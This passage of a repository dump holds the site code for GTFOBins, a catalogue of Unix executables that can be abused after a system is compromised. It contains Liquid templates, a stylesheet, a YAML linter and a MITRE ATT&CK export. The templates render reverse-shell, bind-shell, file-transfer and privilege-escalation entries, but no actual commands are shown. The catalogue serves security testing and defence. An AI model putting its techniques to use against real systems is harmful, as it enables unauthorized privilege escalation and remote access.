{%- else -%} {%- assign gtfobin = original_gtfobin -%} {%- endif -%} {%- comment -%} function list {%- endcomment -%} {%- include function_list.html gtfobin=original_gtfobin functions=gtfobin.functions -%} {%- comment -%} global executable comment {%- endcomment -%} {%- if gtfobin.comment -%}
Comment {{ gtfobin.comment | markdownify }}
{%- endif -%} {%- comment -%} scan all the available functions in order to find those present {%- endcomment -%} {%- for function_item in site.data.functions -%} {%- assign function_name = function_item[0] -%} {%- assign function = function_item[1] -%} {%- unless gtfobin.functions contains function_name -%}{%- continue -%}{%- endunless -%} {%- assign examples = gtfobin.functions[function_name] -%} {%- comment -%} function title and global description {%- endcomment -%}

{{- function.label -}}

{{ function.description | markdownify }} {%- comment -%} list of function examples {%- endcomment -%}
    {%- for example in examples -%}
  • {%- comment -%} build the identifier of this example {%- endcomment -%} {%- capture example_id -%}{{ function_name }}-{{ forloop.index }}{%- endcapture -%} {%- comment -%} version {%- endcomment -%} {%- if example.version -%}
    Version requirements {{ example.version | markdownify }}
    {%- endif -%} {%- comment -%} example comment {%- endcomment -%} {%- if example.comment -%}
    Comment {{ example.comment | markdownify }}
    {%- endif -%} {%- comment -%} list of contexts for each example {%- endcomment -%}
    {%- comment -%} scan all the available contexts in order to find those present falling back to the default {%- endcomment -%} {%- assign first = true -%} {%- for context_item in site.data.contexts -%} {%- assign context_name = context_item[0] -%} {%- assign context = context_item[1] -%} {%- unless example.contexts contains context_name or example.contexts == nil and context_name == default_context_name -%}{%- continue -%}{%- endunless -%} {%- assign per_context_info = example.contexts[context_name] -%} {%- comment -%} context information {%- endcomment -%} {%- capture context_id -%}{{ example_id }}-{{ context_name }}{%- endcapture -%}
    {%- comment -%} global context description {%- endcomment -%} {{ context.description | markdownify }} {%- comment -%} additional per-context content {%- endcomment -%} {%- case context_name -%} {%- when "sudo" -%}
    Remarks {{ context.extra.environment | markdownify }}
    {%- when "suid" -%} {%- if per_context_info.shell != nil -%}
    Remarks {%- if per_context_info.shell -%} {{ context.extra.shell[true] | markdownify }} {%- else -%} {{ context.extra.shell[false] | markdownify }} {%- endif -%}
    {%- endif -%} {%- when "capabilities" -%}

    {{ context.extra.list }}{{ ' ' }} {%- for capability in per_context_info.list -%} {{ capability | escape }} {%- if forloop.last -%}.{%- else -%}{{ ', ' }}{%- endif -%} {%- endfor -%}

    {%- endcase -%} {%- comment -%} optional local comment {%- endcomment -%} {%- if per_context_info.comment -%}
    Comment {{ per_context_info.comment | markdownify }}
    {%- endif -%} {%- comment -%} use the common code or the specialized per-context version {%- endcomment -%} {%- capture code -%}{%- if per_context_info.code -%}{{ per_context_info.code }}{%- else -%}{{ example.code }}{%- endif -%} {%- endcapture -%}
    {{- code | escape | strip -}}
    {%- assign first = false -%} {%- endfor -%}
    {%- comment -%} additional per-function content {%- endcomment -%} {%- case function_name -%} {%- when "shell", "command", "reverse-shell", "bind-shell" -%} {%- if example.blind -%}
    Output {{ function.extra.blind[true] | markdownify }}
    {%- endif -%} {%- when "file-write", "file-read", "upload", "download" -%} {%- if example.binary == false -%}
    Remarks {{ function.extra.binary[false] | markdownify }}
    {%- endif -%} {%- when "shell", "reverse-shell", "bind-shell" -%} {%- if example.tty == false -%}
    TTY {{ function.extra.tty[false] | markdownify }}
    {%- endif -%} {%- when "reverse-shell" -%} {%- if example.listener -%} {%- assign known = function.extra.listener[example.listener] -%} {%- assign comment = known.comment | default: example.listener.comment -%} {%- assign code = known.code | default: example.listener.code -%}
    Listener {{ comment | markdownify }} {%- if code -%}
    {{- code | escape | strip -}}
    {%- endif -%}
    {%- endif -%} {%- when "bind-shell" -%} {%- if example.connector -%} {%- assign known = function.extra.connector[example.connector] -%} {%- assign comment = known.comment | default: example.connector.comment -%} {%- assign code = known.code | default: example.connector.code -%}
    Connector {{ comment | markdownify }} {%- if code -%}
    {{- code | escape | strip -}}
    {%- endif -%}
    {%- endif -%} {%- when "upload" -%} {%- if example.receiver -%} {%- assign known = function.extra.receiver[example.receiver] -%} {%- assign comment = known.comment | default: example.receiver.comment -%} {%- assign code = known.code | default: example.receiver.code -%}
    Receiver {{ comment | markdownify }} {%- if code -%}
    {{- code | escape | strip -}}
    {%- endif -%}
    {%- endif -%} {%- when "download" -%} {%- if example.sender -%} {%- assign known = function.extra.sender[example.sender] -%} {%- assign comment = known.comment | default: example.sender.comment -%} {%- assign code = known.code | default: example.sender.code -%}
    Sender {{ comment | markdownify }} {%- if code -%}
    {{- code | escape | strip -}}
    {%- endif -%}
    {%- endif -%} {%- when "library-load" -%}
    Payload {{ function.extra.payload | markdownify }}
    {%- endcase -%} {%- comment -%} add a link to the inheriting executable and display the functions {%- endcomment -%} {%- if function_name == "inherit" -%} {%- include get_gtfobin.html name=example.from -%} {%- assign gtfobin = return_gtfobin -%}
    Functions

    Inherits from {{ example.from | escape }}, thus possibly granting the following functions:

    {%- include function_list.html gtfobin=gtfobin functions=gtfobin.functions -%}

    {%- endif -%}
  • {%- endfor -%}
{%- endfor -%} {%- comment -%} footer with some GitHub links about this executable {%- endcomment -%}

Source | History

================================================ FILE: _layouts/page.html ================================================ --- layout: common --- {%- include page_title.html title=page.title -%} {{ content }} ================================================ FILE: api.json ================================================ --- --- { "functions": {{ site.data.functions | jsonify -}}, "contexts": {{ site.data.contexts | jsonify -}}, "executables": { {%- for gtfobin in site.gtfobins -%} {%- capture name -%}{%- include get_gtfobin_name.html path=gtfobin.path -%}{%- endcapture -%} {{ name | jsonify -}}: { {%- assign root_fields = 'comment,functions,alias' | split: ',' -%} {%- assign comma = false -%} {%- for field in root_fields -%} {%- if gtfobin[field] -%} {%- if comma -%},{%- endif -%} {%- assign comma = true -%} {{- field | jsonify -}}: {{- gtfobin[field] | jsonify -}} {%- endif -%} {%- endfor -%} } {%- unless forloop.last -%},{%- endunless -%} {%- endfor -%} } } ================================================ FILE: assets/style.scss ================================================ --- --- :root[data-theme=dark] { --foreground: #e6e6e6; --background: #0f0f0f; --faint: #666666; --lighter: #2a1212; --marked: #5a1a1a; --hover: #ff4d4d; } :root[data-theme=light] { --foreground: #000000; --background: #ffffff; --faint: #999999; --lighter: #fff4f4; --marked: #ffcccc; --hover: #ff0000; } :root[data-theme=dark] { .light-theme { display: none; } } :root[data-theme=light] { .dark-theme { display: none; } } $accent: #bf0707; $logo-backdrop: #ffffff; $foreground: var(--foreground); $background: var(--background); $faint: var(--faint); $lighter: var(--lighter); $marked: var(--marked); $hover: var(--hover); $default-font-size: 16px; $code-font-size: 13px; $small-font-size: 14px; // layout $column-width: 800px; $grace-space: 200px; $layout-break: "(min-width: #{$column-width + $grace-space})"; @media #{$layout-break} { body { width: $column-width; margin-left: auto; margin-right: auto; margin-top: 40px; } p { text-align: justify; } } @media not all and #{$layout-break} { .github-corner { display: none; } } // common tags body { font-family: system-ui, sans-serif; font-size: $default-font-size; color: $foreground; background: $background; } code { font-size: $code-font-size; padding: 0.15em 0.25em; border-radius: 0.25em; color: $accent; background: $lighter; } pre { background: $lighter; font-size: $code-font-size; margin: 1rem 0; // to be coherent with the regular-sized text position: relative; overflow: hidden; code { display: block; border-radius: 0; padding: 1em; width: 100%; box-sizing: border-box; overflow-x: auto; } button { display: none; position: absolute; top: 0; right: 0; cursor: pointer; outline: none; padding: 0.25em 0.5em; border: 5px solid $background; border-top: none; border-right: none; color: $accent; background-color: $lighter; &:hover { color: $hover; } &:active { color: $lighter; // just to give some click feedback } } &:hover button { display: block; } } dt { font-weight: bold; } blockquote { margin: 1em 0; p { padding: 1em; margin: 0; background: $lighter; } } hr { border: none; height: 1px; background: $foreground; } a { &:link, &:visited { color: $accent; } &:hover { color: $hover; & > *:not(svg) { // XXX not for the GitHub corner color: $hover; } } } p { line-height: 1.25; } fieldset { border: 1px solid $faint; position: relative; margin: 1em 0; padding: 0 1em; min-width: 0; // XXX needed to avoid outgrow with code blocks legend { color: $accent; font-size: $small-font-size; padding: 0 0.5em; position: absolute; background-color: $background; top: -0.5lh; } } ::selection { background-color: $foreground; color: $background; } // page title h1 { display: flex; column-gap: 0.5rem; row-gap: 0.5rem; flex-wrap: wrap; align-items: center; justify-content: space-between; .buttons { display: flex; column-gap: 0.5rem; row-gap: 0.5rem; flex-wrap: wrap; a.github-button { visibility: hidden; // XXX avoid displaying the link text during loading } span { display: flex; // XXX get rid of sapce around } #theme-switcher { display: flex; align-items: center; cursor: pointer; user-select: none; &:hover { color: $hover; } } } } // permalink on headings h2, h3, h4, h5, h5 { .permalink { margin-left: 5px; text-decoration: none; visibility: hidden; &::before { content: "#"; } } &:target { border-left: 5px solid $accent; padding-left: 5px; } &:hover { .permalink { visibility: visible; } } } // list and search #search-toolbox { padding-top: 1px; // XXX needed for scrollIntoView margin-top: 80px; margin-bottom: 20px; position: relative; // XXX needed for tooltip sizing fieldset { padding: 1em; border-color: $accent; legend { color: $foreground; font-size: initial; font-weight: bold; } } .search-filters { display: flex; flex-wrap: wrap; justify-content: center; a { background: $lighter; font-size: initial; border-radius: 0.25em; &:hover:before { content: attr(data-title); font-size: $small-font-size; text-align: center; display: block; position: absolute; left: 10%; right: 10%; margin-top: 1.75rem; // XXX below the button padding: 1em; color: $background; background: $foreground; border-radius: 0.25em; pointer-events: none; z-index: 1; } } } input { // enlarge the click area margin: -1rem; padding: 1rem; background: transparent; // adjust the width due to negative padding width: calc(100% + 2rem); color: $foreground; font-size: 1rem; box-sizing: border-box; outline: none; border: none; } } #gtfobin-table-wrapper { min-height: 100vh; #gtfobin-table { width: 100%; border-spacing: 0; &, th, td { border: none; } thead { th { padding: 1em; text-align: left; &:last-child { width: 100%; } } } tbody { th { padding: 0 1em; font-family: monospace; white-space: nowrap; font-weight: normal; text-align: left; a { text-decoration: none; } } td { padding: 0.5em 1em; } tr:hover { background: $lighter; } } tfoot { text-align: center; padding: 1em; } } } // function and contexts buttons used in both the table and single pages .tag-list { display: flex; flex-wrap: wrap; font-size: $small-font-size; list-style: none; column-gap: 0.25em; row-gap: 0.25em; padding: 0; margin: 0; li { a { display: inline-block; padding: 0.25em 0.5em; border: 1px solid $accent; } a:link, a:visited { color: $accent; text-decoration: none; } a:hover { color: $hover; border-color: $hover; } &.match a { background: $marked; &[data-matching-contexts]::after { content: " (" attr(data-matching-contexts) ")"; } } &.inherit a { border-style: dashed; } } } // function examples .examples { display: table; width: 100%; table-layout: fixed; counter-reset: item; margin: 0; padding: 0; & > li { display: table-row; &:before { display: table-cell; font-size: $small-font-size; font-weight: bold; width: 3em; text-align: center; counter-increment: item; content: "(" counter(item, lower-alpha) ")"; } } } // context tabs .contexts { display: flex; flex-wrap: wrap; margin: 1em 0; input[type=radio] { display: none; &:checked + label { color: $accent; background: $background; cursor: auto; } &:checked + label + div { display: block; } } & > label { font-size: $small-font-size; margin-left: 0.5em; padding: 0.25em 0.5em; border: 1px solid $faint; border-bottom: none; cursor: pointer; position: relative; top: 1px; &:hover { color: $hover; } } & > div { display: none; flex-basis: 100%; width: 0px; // XXX avoid growing order: 999; padding: 0 1em; border: 1px solid $faint; } } // description table .description-table { border-collapse: collapse; tbody { th { white-space: nowrap; text-align: right; } th, td { border: 1px solid $foreground; padding: 0 0.5em; } } } // other classes .accent { color: $accent; } .hidden { display: none; } .logo { $margin: 20px; float: right; width: 100px; height: 100px; margin-left: $margin; margin-bottom: $margin; pointer-events: none; background-color: $logo-backdrop; border: 1px solid $logo-backdrop; } .small { font-size: $small-font-size; } .centered { text-align: center; } svg.github-corner { fill: $foreground; color: $background; } ================================================ FILE: index.md ================================================ --- layout: page title: GTFOBins description: GTFOBins is a curated list of Unix-like executables that can be used to bypass local security restrictions in misconfigured systems. --- ![GTFOBins logo]({{ '/assets/logo.png' | relative_url }}){:.logo} {{ page.description }} The project [collects]({{ '/scope/' | relative_url }}) legitimate functions of Unix-like executables that can be abused to ~~get the f**k~~ break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate other post-exploitation tasks. GTFOBins is a joint effort by [Emilio Pinna][norbemi] and [Andrea Cardaci][cyrus_and], and many other [contributors][]. Everyone can [get involved]({{ '/contributing/' | relative_url }}) by providing additional entries and techniques! If you are looking for Windows binaries you should visit [LOLBAS][]. > Please note that this is **not** a list of exploits, and the programs listed here are not vulnerable per se, rather, GTFOBins is a compendium about how to live off the land when you only have certain executables available. [GitHub][] | [Get involved]({{ '/contributing/' | relative_url }}) | [Contributors][contributors] | [JSON API]({{ '/api.json' | relative_url }}) | [MITRE ATT&CK® Navigator](https://mitre-attack.github.io/attack-navigator/#layerURL={{ '/mitre.json' | absolute_url }}) {:.centered} [contributors]: https://github.com/GTFOBins/GTFOBins.github.io/graphs/contributors [norbemi]: https://x.com/norbemi [cyrus_and]: https://x.com/cyrus_and [LOLBAS]: https://lolbas-project.github.io/ [GitHub]: https://github.com/GTFOBins/GTFOBins.github.io
{%- include gtfobins_table.html -%}
================================================ FILE: linter/__main__.py ================================================ from . import linter import argparse import os import re import sys def report_fail(name, error): print(f'\x1b[31;1mFAIL\x1b[0m {name}') print(f' - {error}') def report_pass(name): print(f'\x1b[32;1mPASS\x1b[0m {name}') def run(check_only, verbose): # move into the GTFOBins directory os.chdir('_gtfobins') # process all the entries for name in sorted(os.listdir()): # check for old-version files if re.search(r'\.(md|yaml|yml)$', name): report_fail(name, 'entries must have no extension') return False # check linter errors if error := linter.lint(name, check_only): report_fail(name, error) return False # otherwise pass if verbose: report_pass(name) return True def main(): # parse argumenst parser = argparse.ArgumentParser() parser.add_argument('-c', '--check-only', action='store_true') parser.add_argument('-v', '--verbose', action='store_true') args = parser.parse_args() # start! sys.exit(not run(**vars(args))) main() ================================================ FILE: linter/dumper.py ================================================ from .error import LinterError import yaml class _Dumper(yaml.SafeDumper): pass # use pipe style for certain string fields class _BlockString(str): pass def _block_string_representer(dumper, data): return dumper.represent_scalar('tag:yaml.org,2002:str', data, style='|') _Dumper.add_representer(_BlockString, _block_string_representer) def _ensure_block_style(o): match o: case dict(): return { k: (_BlockString(v) if k in ('code', 'comment', 'version') else _ensure_block_style(v)) for k, v in o.items() } case list(): return [ _ensure_block_style(v) for v in o ] case _: return o # omit explicit null def _none_representer(dumper, _): return dumper.represent_scalar('tag:yaml.org,2002:null', '') _Dumper.add_representer(type(None), _none_representer) ### def dump(text, data, path, check_only): # serialize the data object data = _ensure_block_style(data) formatted = yaml.dump(data, Dumper=_Dumper, explicit_start=True, explicit_end=True) # if not properly formatted if formatted != text: if check_only: # report error raise LinterError('schema OK but invalid format, please run the formatter') else: # write the formatted file with open(path, 'w') as fs: fs.write(formatted) ================================================ FILE: linter/error.py ================================================ class LinterError(BaseException): ... ================================================ FILE: linter/linter.py ================================================ from . import dumper from . import loader from . import schema from .error import LinterError def lint(path, check_only): try: # load the YAML file text, data = loader.load(path) # validate the content schema.validate(data) # save or check the formatted YAML file dumper.dump(text, data, path, check_only) except LinterError as e: return str(e) ================================================ FILE: linter/loader.py ================================================ from .error import LinterError import yaml def load(path): # try to load the YAML file reporting parsing errors try: with open(path, 'r') as fs: text = fs.read() data = yaml.safe_load(text) return text, data except yaml.YAMLError as e: raise LinterError(f'{e.problem} at line {e.problem_mark.line}') ================================================ FILE: linter/requirements.txt ================================================ pyyaml ~= 6.0.3 schema ~= 0.7.8 ================================================ FILE: linter/schema.py ================================================ from .error import LinterError from pathlib import Path import schema import yaml def _string(x): if isinstance(x, str) and x == x.strip() and len(x) > 0: return True else: raise schema.SchemaError(f'{x!r} should be a non-empty space-trimmed string') def _check_code_coherence(example): has_code = bool(example.get('code')) all_contexts_have_code = all( context and context.get('code') for context in example.get('contexts', {}).values() ) if has_code != all_contexts_have_code: return True else: raise schema.SchemaError(f'{example!r} should provide the code') def _context(name, per_context_schema): return { schema.Optional(name): schema.Or(None, { schema.Optional('code'): _string, schema.Optional('comment'): _string, **per_context_schema, }) } def _gtfobin(name): if name in _gtfobins: return True else: raise schema.SchemaError(f'{name!r} does not exist') def _function(name, per_function_schema): return { schema.Optional(name): schema.And(len, [ schema.And({ schema.Optional('code'): _string, schema.Optional('comment'): _string, schema.Optional('version'): schema.Or(_string, int, float), schema.Optional('mitre'): [ schema.Regex(r'^T[0-9]+$'), ], **per_function_schema, 'contexts': { **_context('unprivileged', { }), **_context('sudo', { }), **_context('suid', { schema.Optional('shell'): bool, }), **_context('capabilities', { schema.Optional('list'): schema.And(len, [ schema.Regex(r'^CAP_[A-Z_]+$'), ]), }), } }, _check_code_coherence), ]), } _root = Path(__file__).parent / '..' _functions = yaml.safe_load((_root / '_data' / 'functions.yml').read_text()); _gtfobins = {file.name for file in (_root / '_gtfobins').iterdir()} _additional_example = { schema.Or('code', 'comment'): _string, } _binary = { schema.Optional('binary'): bool, } _blind = { schema.Optional('blind'): bool, } _tty = { schema.Optional('tty'): bool, } _listener = { schema.Optional('listener'): schema.Or( _additional_example, *_functions['reverse-shell']['extra']['listener'].keys(), ) } _connector = { schema.Optional('connector'): schema.Or( _additional_example, *_functions['bind-shell']['extra']['connector'].keys(), ) } _receiver = { schema.Optional('receiver'): schema.Or( _additional_example, *_functions['upload']['extra']['receiver'].keys(), ) } _sender = { schema.Optional('sender'): schema.Or( _additional_example, *_functions['download']['extra']['sender'].keys(), ) } _SCHEMA = schema.Or( { 'alias': _string, }, { schema.Optional('comment'): _string, 'functions': schema.And(len, { **_function('shell', { **_tty, **_blind, }), **_function('command', { **_blind, }), **_function('reverse-shell', { **_tty, **_blind, **_listener, }), **_function('bind-shell', { **_tty, **_blind, **_connector, }), **_function('file-write', { **_binary, }), **_function('file-read', { **_binary, }), **_function('upload', { **_binary, **_receiver, }), **_function('download', { **_binary, **_sender, }), **_function('library-load', { }), **_function('privilege-escalation', { }), **_function('inherit', { 'from': _gtfobin, }), }), } ) def validate(data): try: _SCHEMA.validate(data) except schema.SchemaError as e: raise LinterError(str(e.autos[-1])) ================================================ FILE: mitre.json ================================================ --- --- {%- comment -%}capture the entries that have MITRE ids assigned {%- endcomment -%} {%- assign techniques = '' | split: '' -%} {%- for gtfobin in site.gtfobins -%} {%- capture name -%}{%- include get_gtfobin_name.html path=gtfobin.path -%}{%- endcapture -%} {%- for function_item in gtfobin.functions -%} {%- assign function_name = function_item[0] -%} {%- assign function = function_item[1] -%} {%- for example in function -%} {%- assign mitre = example.mitre | default: site.data.functions[function_name].mitre -%} {%- for technique in mitre -%} {%- capture item -%}{{ technique }},{{ name }},{{ function_name }},{{ gtfobin.url | absolute_url }}{%- endcapture -%} {%- assign item = item | split: ',' -%} {%- assign techniques = techniques | push: item -%} {%- endfor -%} {%- endfor -%} {%- endfor -%} {%- endfor -%} { "name": {{ site.title | jsonify }}, "versions": { "attack": "18", "navigator": "5.2.0", "layer": "4.5" }, "links": [ { "label": "GTFOBins", "url": {{ '/' | absolute_url | jsonify }} } ], "layout": { "expandedSubtechniques": "annotated" }, "domain": "enterprise-attack", "filters": { "platforms": [ "Linux", "macOS" ] }, "showTacticRowBackground": true, "tacticRowBackground": "#bf0707", "techniques": [ {%- assign techniques = techniques | group_by_exp: "item", "item[0]" -%} {%- for group in techniques -%} {%- assign technique = group.name -%} {%- assign gtfobins = '' | split: '' -%} {%- for item in group.items -%} {%- capture fields -%},{{ item[1] }},{{ item[2] }},{{ item[3] }}{%- endcapture -%} {%- assign gtfobins = gtfobins | push: fields -%} {%- endfor -%} { "techniqueID": {{ technique | jsonify }}, "links": [ {%- assign gtfobins = gtfobins | uniq -%} {%- for gtfobin in gtfobins -%} {%- assign fields = gtfobin | split: ',' -%} { "label": {{ fields[1] | jsonify }}, "url": {{ fields[3] | append: '#' | append: fields[2] | jsonify }} } {%- unless forloop.last -%},{%- endunless -%} {%- endfor -%} ] } {%- unless forloop.last -%},{%- endunless -%} {%- endfor -%} ] } ================================================ FILE: scope.md ================================================ --- layout: page title: Scope description: Functions and contexts of the GTFOBins executables. --- An executable may support one or more [function](#functions) by providing a number of *examples* for their use, each example may support a number of [contexts](#contexts) that determine the ability of that example to work in that particular condition. ## Functions
{%- include description_table.html label='Function' objects=site.data.functions -%}
## Contexts
{%- include description_table.html label='Context' objects=site.data.contexts -%}